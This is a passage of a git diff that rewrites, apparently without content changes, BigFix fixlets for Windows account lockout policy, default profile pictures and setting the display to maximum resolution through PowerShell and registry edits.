-    <Title>Secedit Example: Windows Account Lockout: 15/10/10</Title>
-    <Description><![CDATA[<P>Configure Windows Account Lockout Policy (for Workstation or Member Servers, not Domain Controllers).</P>
-<P>15 bad attempts in 10 minutes triggers 10 minute lockout.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Relevance>/* no domain controllers */ product type of operating system = nt workstation product type or product type of operating system = nt server product type</Relevance>
-    <Relevance>(account lockout duration of it / minute != 10 or account lockout observation window of it /minute != 10 or  account lockout threshold of it != 15) of security database</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2023-04-10</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 10 Apr 2023 23:28:54 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-delete __createfile
-createfile until BIGFIX_EOF_MARKER
-[Unicode]
-Unicode=yes
-[System Access]
-LockoutBadCount = 15
-ResetLockoutCount = 10
-LockoutDuration = 10
-[Version]
-signature=&quot;$CHICAGO$&quot;
-Revision=1
-BIGFIX_EOF_MARKER
-
-delete tempdb.sdb
-delete tempcfg.inf
-move __createfile tempcfg.inf
-waithidden secedit.exe /configure /cfg tempcfg.inf /db tempdb.sdb
-continue if {exit code of action = 0}
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Secedit Example: Windows Account Lockout: 15/10/10
+  ID       : 27000
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2023-04-10T16:29:51
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Secedit Example: Windows Account Lockout: 15/10/10</Title>
+    <Description><![CDATA[<P>Configure Windows Account Lockout Policy (for Workstation or Member Servers, not Domain Controllers).</P>
+<P>15 bad attempts in 10 minutes triggers 10 minute lockout.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance>/* no domain controllers */ product type of operating system = nt workstation product type or product type of operating system = nt server product type</Relevance>
+    <Relevance>(account lockout duration of it / minute != 10 or account lockout observation window of it /minute != 10 or  account lockout threshold of it != 15) of security database</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2023-04-10</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 10 Apr 2023 23:28:54 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+delete __createfile
+createfile until BIGFIX_EOF_MARKER
+[Unicode]
+Unicode=yes
+[System Access]
+LockoutBadCount = 15
+ResetLockoutCount = 10
+LockoutDuration = 10
+[Version]
+signature=&quot;$CHICAGO$&quot;
+Revision=1
+BIGFIX_EOF_MARKER
+
+delete tempdb.sdb
+delete tempcfg.inf
+move __createfile tempcfg.inf
+waithidden secedit.exe /configure /cfg tempcfg.inf /db tempdb.sdb
+continue if {exit code of action = 0}
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Default Profile Picture - Windows 10 (25579).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Default Profile Picture - Windows 10 (25579).bes
index eb83b1c9a..5f65067e4 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Set Default Profile Picture - Windows 10 (25579).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Default Profile Picture - Windows 10 (25579).bes	
@@ -1,54 +1,54 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Set Default Profile Picture - Windows 10
-  ID       : 25579
-  Author   : N0m4d1c
-  Domain   : BESC
-  Imported : 2018-11-09T15:24:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Set Default Profile Picture - Windows 10</Title>
-    <Description><![CDATA[<P>Sets the default profile&nbsp;picture for all users in Windows 10.</P>
-<P><STRONG>*** Files need to be the same picture, just different names ***</STRONG></P>]]></Description>
-    <Relevance>true</Relevance>
-    <Category>Bigfix.me</Category>
-    <Source>Internal</Source>
-    <SourceID>n0m4d1c</SourceID>
-    <SourceReleaseDate>2018-10-03</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 09 Nov 2018 23:24:00 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//*********************************************************************
-//	Insert prefetch for your PNG files
-//*********************************************************************
-
-delete &quot;C:\ProgramData\Microsoft\User Account Pictures\guest.png&quot;
-delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user.png&quot;
-delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user-32.png&quot;
-delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user-40.png&quot;
-delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user-48.png&quot;
-delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user-192.png&quot;
-
-copy &quot;__Download\guest.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\guest.png&quot;
-copy &quot;__Download\user.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user.png&quot;
-copy &quot;__Download\user-32.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user-32.png&quot;
-copy &quot;__Download\user-40.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user-40.png&quot;
-copy &quot;__Download\user-48.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user-48.png&quot;
-copy &quot;__Download\user-192.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user-192.png&quot;
-
-waithidden cmd.exe /C reg add &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer&quot; /v UseDefaultTile /t REG_DWORD /d 1 /f</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Set Default Profile Picture - Windows 10
+  ID       : 25579
+  Author   : N0m4d1c
+  Domain   : BESC
+  Imported : 2018-11-09T15:24:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Set Default Profile Picture - Windows 10</Title>
+    <Description><![CDATA[<P>Sets the default profile&nbsp;picture for all users in Windows 10.</P>
+<P><STRONG>*** Files need to be the same picture, just different names ***</STRONG></P>]]></Description>
+    <Relevance>true</Relevance>
+    <Category>Bigfix.me</Category>
+    <Source>Internal</Source>
+    <SourceID>n0m4d1c</SourceID>
+    <SourceReleaseDate>2018-10-03</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 09 Nov 2018 23:24:00 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//*********************************************************************
+//	Insert prefetch for your PNG files
+//*********************************************************************
+
+delete &quot;C:\ProgramData\Microsoft\User Account Pictures\guest.png&quot;
+delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user.png&quot;
+delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user-32.png&quot;
+delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user-40.png&quot;
+delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user-48.png&quot;
+delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user-192.png&quot;
+
+copy &quot;__Download\guest.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\guest.png&quot;
+copy &quot;__Download\user.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user.png&quot;
+copy &quot;__Download\user-32.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user-32.png&quot;
+copy &quot;__Download\user-40.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user-40.png&quot;
+copy &quot;__Download\user-48.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user-48.png&quot;
+copy &quot;__Download\user-192.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user-192.png&quot;
+
+waithidden cmd.exe /C reg add &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer&quot; /v UseDefaultTile /t REG_DWORD /d 1 /f</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Display Resolution to Maximum Resolution (27420).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Display Resolution to Maximum Resolution (27420).bes
index 7597a9f1f..42660dd53 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Set Display Resolution to Maximum Resolution (27420).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Display Resolution to Maximum Resolution (27420).bes	
@@ -1,471 +1,471 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Set Display Resolution to Maximum Resolution
-  ID       : 27420
-  Author   : skyler
-  Domain   : BESC
-  Imported : 2026-07-28T10:34:40
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Set Display Resolution to Maximum Resolution</Title>
-    <Description><![CDATA[<P class=MsoNormal style="MARGIN: 0in 0in 8pt"><FONT face=Arial><FONT size=2>Sets the resolution of a computer to its recommended max resolution. Works best with laptops, may have issues with computers&nbsp;connected to multiple&nbsp;displays of different&nbsp;resolutions.</FONT></FONT></P>
-<P class=MsoNormal style="MARGIN: 0in 0in 8pt"><FONT face=Arial><FONT size=2>Works utilizing one of two methods:<?xml:namespace prefix = "o" ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></FONT></FONT></P>
-<OL style="MARGIN-TOP: 0in" type=1>
-<LI class=MsoNormal style="MARGIN: 0in 0in 8pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><FONT face=Arial><FONT size=2><B>If user logged on and not on lock screen:</B> Utilizes <B>DisplaySettings</B> PowerShell module (embedded in actionscript) which uses the <B>ChangeDisplaySettings</B> function to change the display settings.</FONT></FONT></LI>
-<LI class=MsoNormal style="MARGIN: 0in 0in 8pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><FONT face=Arial><FONT size=2><B>If no user logged on or on lock screen:</B> Utilizes direct registry edits and then restarts the display driver.<o:p></o:p></FONT></FONT></LI>
-<UL style="MARGIN-TOP: 0in" type=disc>
-<LI class=MsoNormal style="MARGIN: 0in 0in 8pt; mso-list: l0 level2 lfo1"><FONT face=Arial><FONT size=2><B>WARNING: </B>Restarting the display driver will cause the screen to temporarily go black.<o:p></o:p></FONT></FONT></LI>
-<LI class=MsoNormal style="MARGIN: 0in 0in 8pt; mso-list: l0 level2 lfo1"><FONT size=2><FONT face=Arial><B>WARNING:</B> This will modify ALL display configurations for the device and may have unintended consequences.</FONT><o:p></o:p></FONT></LI></UL></OL>]]></Description>
-    <Relevance>(name of it starts with &quot;Win&quot;) of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2026-07-14</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 28 Jul 2026 17:33:18 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to use ChangeDisplaySettings &lt;STRONG&gt;or&lt;/STRONG&gt; registry edit method depending if a user is logged on.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Create PowerShell script
-parameter "ScriptPath" = "__Download\display-resolution.ps1"
-delete "{(parameter "ScriptPath")}"
-
-if {(exists process "logonui.exe") or (not exists logged on users whose (active of it = True))}
-    createfile until ENDOFSCRIPT
-
-    $resolution = Get-WmiObject -Class CIM_VideoControllerResolution | Sort-Object -Property @{{Expression={{$_.HorizontalResolution * $_.VerticalResolution}} -Descending | Select-Object -First 1 -Property HorizontalResolution, VerticalResolution
-
-    $displayConfigs = Get-Item HKLM:\SYSTEM\CurrentControlSet\Control\GraphicsDrivers\Configuration\*\00
-    $displayConfigs | ForEach-Object {{
-        Set-ItemProperty -Path $_.PsPath -Name PrimSurfSize.cx -Value $resolution.HorizontalResolution -Force
-        Set-ItemProperty -Path $_.PsPath -Name PrimSurfSize.cy -Value $resolution.VerticalResolution -Force
-        Set-ItemProperty -Path "$($_.PsPath)\00" -Name ActiveSize.cx -Value $resolution.HorizontalResolution -Force
-        Set-ItemProperty -Path "$($_.PsPath)\00" -Name ActiveSize.cy -Value $resolution.VerticalResolution -Force
-        Set-ItemProperty -Path "$($_.PsPath)\00" -Name DwmClipBox.bottom -Value $resolution.VerticalResolution -Force
-        Set-ItemProperty -Path "$($_.PsPath)\00" -Name DwmClipBox.left -Value 0 -Force
-        Set-ItemProperty -Path "$($_.PsPath)\00" -Name DwmClipBox.right -Value $resolution.HorizontalResolution -Force
-        Set-ItemProperty -Path "$($_.PsPath)\00" -Name DwmClipBox.top -Value 0 -Force
-        Set-ItemProperty -Path "$($_.PsPath)\00" -Name PrimSurfSize.cx -Value $resolution.HorizontalResolution -Force
-        Set-ItemProperty -Path "$($_.PsPath)\00" -Name PrimSurfSize.cy -Value $resolution.VerticalResolution -Force
-    }
-
-    $displayDriver = Get-PnpDevice | Where-Object {{ $_.Class -like "Display*" }
-    $displayDriver | Disable-PnpDevice -Confirm:$false
-    $displayDriver | Enable-PnpDevice -Confirm:$false
-
-    ENDOFSCRIPT
-else
-    createfile until ENDOFSCRIPT
-
-    $cds = @"
-    namespace cds
-    {{
-        using System;
-        using System.Runtime.InteropServices;
-
-        [StructLayout(LayoutKind.Explicit)]
-        public struct DEVMODE
-        {{
-            [FieldOffset(102)]
-            public short dmLogPixels;
-            [FieldOffset(104)]
-            public int dmBitsPerPel;
-            [FieldOffset(108)]
-            public int dmPelsWidth;
-            [FieldOffset(112)]
-            public int dmPelsHeight;
-            [FieldOffset(116)]
-            public int dmDisplayFlags;
-            [FieldOffset(120)]
-            public int dmDisplayFrequency;
-        }
-
-
-        // https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-changedisplaysettingsa
-        public class Helper
-        {{
-            public static DEVMODE GetDisplaySettings()
-            {{
-                // #define ENUM_CURRENT_SETTINGS       ((DWORD)-1)
-                // #define ENUM_REGISTRY_SETTINGS      ((DWORD)-2)
-                var devMode = new DEVMODE();
-
-                // A NULL value specifies the current display device on the computer on which the calling thread is running.
-                var retCode = EnumDisplaySettings(null, -1, ref devMode);
-                if (retCode == 0)
-                {{
-                    throw new Exception("can't get resolution from win api");
-                }
-
-                return devMode;
-            }
-
-            public static string ChangeDisplaySettings(int width, int height, int flags)
-            {{
-                // /* Return values for ChangeDisplaySettings */
-                // #define DISP_CHANGE_SUCCESSFUL       0
-                // #define DISP_CHANGE_RESTART          1
-                // #define DISP_CHANGE_FAILED          -1
-                // #define DISP_CHANGE_BADMODE         -2
-                // #define DISP_CHANGE_NOTUPDATED      -3
-                // #define DISP_CHANGE_BADFLAGS        -4
-                // #define DISP_CHANGE_BADPARAM        -5
-                // #if(_WIN32_WINNT >= 0x0501)
-                // #define DISP_CHANGE_BADDUALVIEW     -6
-                // #endif /* _WIN32_WINNT >= 0x0501 */
-
-                var devMode = GetDisplaySettings();
-
-                devMode.dmPelsWidth = width;
-                devMode.dmPelsHeight = height;
-
-                var res = ChangeDisplaySettings(ref devMode, flags);
-                switch (res)
-                {{
-                    case 0:
-                        return "The settings change was successful.";
-                    case 1:
-                        return "The computer must be restarted for the graphics mode to work.";
-                    case -1:
-                        return "The display driver failed the specified graphics mode.";
-                    case -2:
-                        return "The graphics mode is not supported.";
-                    case -3:
-                        return "Unable to write settings to the registry.";
-                    case -4:
-                        return "An invalid set of flags was passed in.";
-                    case -5:
-                        return "An invalid parameter was passed in. This can include an invalid flag or combination of flags.";
-                    case -6:
-                        return "The settings change was unsuccessful because the system is DualView capable.";
-                    default:
-                        return "unknow return code: " + res;
-                }
-            }
-
-            [DllImport("user32.dll")]
-            static extern int EnumDisplaySettings(string deviceName, int modeNum, ref DEVMODE devMode);
-
-            [DllImport("user32.dll")]
-            public static extern int ChangeDisplaySettings(ref DEVMODE devMode, int flags);
-
-            public class Flags
-            {{
-                // #define CDS_UPDATEREGISTRY           0x00000001
-                // #define CDS_TEST                     0x00000002
-                // #define CDS_FULLSCREEN               0x00000004
-                // #define CDS_GLOBAL                   0x00000008
-                // #define CDS_SET_PRIMARY              0x00000010
-                // #define CDS_RESET                    0x40000000
-                // #define CDS_NORESET                  0x10000000
-
-                public const int CDS_UPDATEREGISTRY = 0x01;
-                public const int CDS_TEST = 0x02;
-                public const int CDS_FULLSCREEN = 0x04;
-                public const int CDS_GLOBAL = 0x08;
-                public const int CDS_SET_PRIMARY = 0x10;
-                public const int CDS_RESET = 0x40000000;
-                public const int CDS_NORESET = 0x10000000;
-            }
-        }
-    }
-    "@
-
-    [Flags()] enum CDSFlags {{
-        Dynamically = 0
-        UpdateRegistry = 0x01
-        Test = 0x02
-        FullScreen = 0x04
-        Global = 0x08
-        SetPrimary = 0x10
-        Reset = 0x40000000
-        NoReset = 0x10000000
-    }
-
-    Add-Type -TypeDefinition $cds
-
-    function Set-DisplayResolution {{
-        param (
-            [Parameter(Mandatory = $true, Position = 0)]
-            [int]$Width,
-
-            [Parameter(Mandatory = $true, Position = 1)]
-            [int]$Height,
-
-            [CDSFlags]
-            $Flag = [CDSFlags]::Dynamically
-        )
-
-        [cds.Helper]::ChangeDisplaySettings($Width, $Height, $Flag)
-    }
-
-    function Get-DisplayResolution {{
-        [cds.Helper]::GetDisplaySettings()
-    }
-
-    $resolution = Get-WmiObject -Class CIM_VideoControllerResolution | Sort-Object -Property @{{Expression={{$_.HorizontalResolution * $_.VerticalResolution}} -Descending | Select-Object -First 1 -Property HorizontalResolution, VerticalResolution
-
-    Set-DisplayResolution -Width $resolution.HorizontalResolution -Height $resolution.VerticalResolution -Flag "Global, UpdateRegistry"
-
-    ENDOFSCRIPT
-endif
-
-// Run script
-copy __createfile "{(parameter "ScriptPath")}"
-
-if {(exists process "logonui.exe") or (not exists logged on users whose (active of it = True))}
-    waithidden powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "{(parameter "ScriptPath")}"
-else
-    override wait // SYSTEM user is unable to change display settings w/ ChangeDisplaySettings function, must run as current user
-        completion=job
-        hidden=true
-        runas=currentuser
-    wait powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "{(parameter "ScriptPath")}"
-endif
-
-//delete "{(parameter "ScriptPath")}"]]></ActionScript>
-    </DefaultAction>
-    <Action ID="Action28500">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to only use ChangeDisplaySettings method. &lt;STRONG&gt;Requires user to be logged on.&lt;/STRONG&gt;&amp;nbsp;</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[continue if {(not exists process "logonui.exe") and (exists logged on users whose (active of it = True))}
-
-// Create PowerShell script
-parameter "ScriptPath" = "__Download\display-resolution.ps1"
-delete "{(parameter "ScriptPath")}"
-
-createfile until ENDOFSCRIPT
-
-$cds = @"
-namespace cds
-{{
-    using System;
-    using System.Runtime.InteropServices;
-
-    [StructLayout(LayoutKind.Explicit)]
-    public struct DEVMODE
-    {{
-        [FieldOffset(102)]
-        public short dmLogPixels;
-        [FieldOffset(104)]
-        public int dmBitsPerPel;
-        [FieldOffset(108)]
-        public int dmPelsWidth;
-        [FieldOffset(112)]
-        public int dmPelsHeight;
-        [FieldOffset(116)]
-        public int dmDisplayFlags;
-        [FieldOffset(120)]
-        public int dmDisplayFrequency;
-    }
-
-
-    // https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-changedisplaysettingsa
-    public class Helper
-    {{
-        public static DEVMODE GetDisplaySettings()
-        {{
-            // #define ENUM_CURRENT_SETTINGS       ((DWORD)-1)
-            // #define ENUM_REGISTRY_SETTINGS      ((DWORD)-2)
-            var devMode = new DEVMODE();
-
-            // A NULL value specifies the current display device on the computer on which the calling thread is running.
-            var retCode = EnumDisplaySettings(null, -1, ref devMode);
-            if (retCode == 0)
-            {{
-                throw new Exception("can't get resolution from win api");
-            }
-
-            return devMode;
-        }
-
-        public static string ChangeDisplaySettings(int width, int height, int flags)
-        {{
-            // /* Return values for ChangeDisplaySettings */
-            // #define DISP_CHANGE_SUCCESSFUL       0
-            // #define DISP_CHANGE_RESTART          1
-            // #define DISP_CHANGE_FAILED          -1
-            // #define DISP_CHANGE_BADMODE         -2
-            // #define DISP_CHANGE_NOTUPDATED      -3
-            // #define DISP_CHANGE_BADFLAGS        -4
-            // #define DISP_CHANGE_BADPARAM        -5
-            // #if(_WIN32_WINNT >= 0x0501)
-            // #define DISP_CHANGE_BADDUALVIEW     -6
-            // #endif /* _WIN32_WINNT >= 0x0501 */
-
-            var devMode = GetDisplaySettings();
-
-            devMode.dmPelsWidth = width;
-            devMode.dmPelsHeight = height;
-
-            var res = ChangeDisplaySettings(ref devMode, flags);
-            switch (res)
-            {{
-                case 0:
-                    return "The settings change was successful.";
-                case 1:
-                    return "The computer must be restarted for the graphics mode to work.";
-                case -1:
-                    return "The display driver failed the specified graphics mode.";
-                case -2:
-                    return "The graphics mode is not supported.";
-                case -3:
-                    return "Unable to write settings to the registry.";
-                case -4:
-                    return "An invalid set of flags was passed in.";
-                case -5:
-                    return "An invalid parameter was passed in. This can include an invalid flag or combination of flags.";
-                case -6:
-                    return "The settings change was unsuccessful because the system is DualView capable.";
-                default:
-                    return "unknow return code: " + res;
-            }
-        }
-
-        [DllImport("user32.dll")]
-        static extern int EnumDisplaySettings(string deviceName, int modeNum, ref DEVMODE devMode);
-
-        [DllImport("user32.dll")]
-        public static extern int ChangeDisplaySettings(ref DEVMODE devMode, int flags);
-
-        public class Flags
-        {{
-            // #define CDS_UPDATEREGISTRY           0x00000001
-            // #define CDS_TEST                     0x00000002
-            // #define CDS_FULLSCREEN               0x00000004
-            // #define CDS_GLOBAL                   0x00000008
-            // #define CDS_SET_PRIMARY              0x00000010
-            // #define CDS_RESET                    0x40000000
-            // #define CDS_NORESET                  0x10000000
-
-            public const int CDS_UPDATEREGISTRY = 0x01;
-            public const int CDS_TEST = 0x02;
-            public const int CDS_FULLSCREEN = 0x04;
-            public const int CDS_GLOBAL = 0x08;
-            public const int CDS_SET_PRIMARY = 0x10;
-            public const int CDS_RESET = 0x40000000;
-            public const int CDS_NORESET = 0x10000000;
-        }
-    }
-}
-"@
-
-[Flags()] enum CDSFlags {{
-    Dynamically = 0
-    UpdateRegistry = 0x01
-    Test = 0x02
-    FullScreen = 0x04
-    Global = 0x08
-    SetPrimary = 0x10
-    Reset = 0x40000000
-    NoReset = 0x10000000
-}
-
-Add-Type -TypeDefinition $cds
-
-function Set-DisplayResolution {{
-    param (
-        [Parameter(Mandatory = $true, Position = 0)]
-        [int]$Width,
-
-        [Parameter(Mandatory = $true, Position = 1)]
-        [int]$Height,
-
-        [CDSFlags]
-        $Flag = [CDSFlags]::Dynamically
-    )
-
-    [cds.Helper]::ChangeDisplaySettings($Width, $Height, $Flag)
-}
-
-function Get-DisplayResolution {{
-    [cds.Helper]::GetDisplaySettings()
-}
-
-$resolution = Get-WmiObject -Class CIM_VideoControllerResolution | Sort-Object -Property @{{Expression={{$_.HorizontalResolution * $_.VerticalResolution}} -Descending | Select-Object -First 1 -Property HorizontalResolution, VerticalResolution
-
-Set-DisplayResolution -Width $resolution.HorizontalResolution -Height $resolution.VerticalResolution -Flag "Global, UpdateRegistry"
-
-ENDOFSCRIPT
-
-// Run script
-copy __createfile "{(parameter "ScriptPath")}"
-
-override wait // SYSTEM user is unable to change display settings w/ ChangeDisplaySettings function, must run as current user
-    completion=job
-    hidden=true
-    runas=currentuser
-wait powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "{(parameter "ScriptPath")}"
-
-//delete "{(parameter "ScriptPath")}"]]></ActionScript>
-    </Action>
-    <Action ID="Action28501">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to only use registry edit method.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Create PowerShell script
-parameter &quot;ScriptPath&quot; = &quot;__Download\display-resolution.ps1&quot;
-delete &quot;{(parameter &quot;ScriptPath&quot;)}&quot;
-
-createfile until ENDOFSCRIPT
-
-$resolution = Get-WmiObject -Class CIM_VideoControllerResolution | Sort-Object -Property @{{Expression={{$_.HorizontalResolution * $_.VerticalResolution}} -Descending | Select-Object -First 1 -Property HorizontalResolution, VerticalResolution
-
-$displayConfigs = Get-Item HKLM:\SYSTEM\CurrentControlSet\Control\GraphicsDrivers\Configuration\*\00
-$displayConfigs | ForEach-Object {{
-    Set-ItemProperty -Path $_.PsPath -Name PrimSurfSize.cx -Value $resolution.HorizontalResolution -Force
-    Set-ItemProperty -Path $_.PsPath -Name PrimSurfSize.cy -Value $resolution.VerticalResolution -Force
-    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name ActiveSize.cx -Value $resolution.HorizontalResolution -Force
-    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name ActiveSize.cy -Value $resolution.VerticalResolution -Force
-    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name DwmClipBox.bottom -Value $resolution.VerticalResolution -Force
-    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name DwmClipBox.left -Value 0 -Force
-    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name DwmClipBox.right -Value $resolution.HorizontalResolution -Force
-    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name DwmClipBox.top -Value 0 -Force
-    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name PrimSurfSize.cx -Value $resolution.HorizontalResolution -Force
-    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name PrimSurfSize.cy -Value $resolution.VerticalResolution -Force
-}
-
-$displayDriver = Get-PnpDevice | Where-Object {{ $_.Class -like &quot;Display*&quot; }
-$displayDriver | Disable-PnpDevice -Confirm:$false
-$displayDriver | Enable-PnpDevice -Confirm:$false
-
-ENDOFSCRIPT
-
-// Run script
-copy __createfile &quot;{(parameter &quot;ScriptPath&quot;)}&quot;
-
-waithidden powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File &quot;{(parameter &quot;ScriptPath&quot;)}&quot;
-
-//delete &quot;{(parameter &quot;ScriptPath&quot;)}&quot;</ActionScript>
-    </Action>
-    <Action ID="Action28502">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to view DisplaySettings PowerShell module from PowerShell Gallery.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://www.powershellgallery.com/packages/DisplaySettings/0.0.2</ActionScript>
-    </Action>
-    <Action ID="Action28503">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to view ChangeDisplaySettings function documentation from Microsoft.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-changedisplaysettingsa</ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Set Display Resolution to Maximum Resolution
+  ID       : 27420
+  Author   : skyler
+  Domain   : BESC
+  Imported : 2026-07-28T10:34:40
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Set Display Resolution to Maximum Resolution</Title>
+    <Description><![CDATA[<P class=MsoNormal style="MARGIN: 0in 0in 8pt"><FONT face=Arial><FONT size=2>Sets the resolution of a computer to its recommended max resolution. Works best with laptops, may have issues with computers&nbsp;connected to multiple&nbsp;displays of different&nbsp;resolutions.</FONT></FONT></P>
